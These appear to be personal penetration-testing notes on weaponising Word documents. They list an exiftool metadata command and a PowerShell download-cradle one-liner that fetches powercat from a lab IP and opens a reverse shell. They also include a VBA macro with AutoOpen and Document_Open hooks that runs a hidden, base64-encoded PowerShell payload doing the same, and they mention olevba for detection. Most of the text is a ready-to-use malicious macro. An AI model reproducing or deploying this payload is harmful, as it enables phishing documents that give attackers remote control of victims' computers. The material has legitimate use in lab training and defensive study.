• To find meta data of a pdf or doc etc..

exiftool -a -u brochure.pdf

MACROS:

Running automatic scripts or cmd in words file

• We need to base 64 encode the below and infect in macros

IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.249/powercat.ps1');powercat -c 192.168.45.249 -p 4444 -e powershell

Macros for doc.

Sub AutoOpen() MyMacro End Sub

Sub Document_Open() MyMacro End Sub

Sub MyMacro() Dim Str As String

Str = Str + "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGU"
Str = Str + "AdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAd"
Str = Str + "AAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwB"
Str = Str + "hAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5A"
Str = Str + "DIALgAxADYAOAAuADQANQAuADEANwAzADoAOAAwADAAMAAvAHA"
Str = Str + "AbwB3AGUAcgBjAGEAdAAuAHAAcwAxACcAKQA7AHAAbwB3AGUAc"
Str = Str + "gBjAGEAdAAgAC0AYwAgADEAOQAyAC4AMQA2ADgALgA0ADUALgA"
Str = Str + "xADcAMwAgAC0AcAAgADEAMgAzADQAIAAtAGUAIABwAG8AdwBlA"
Str = Str + "HIAcwBoAGUAbABsAA==   "

CreateObject("Wscript.Shell").Run Str

End Sub

olevba —> to check macros infected document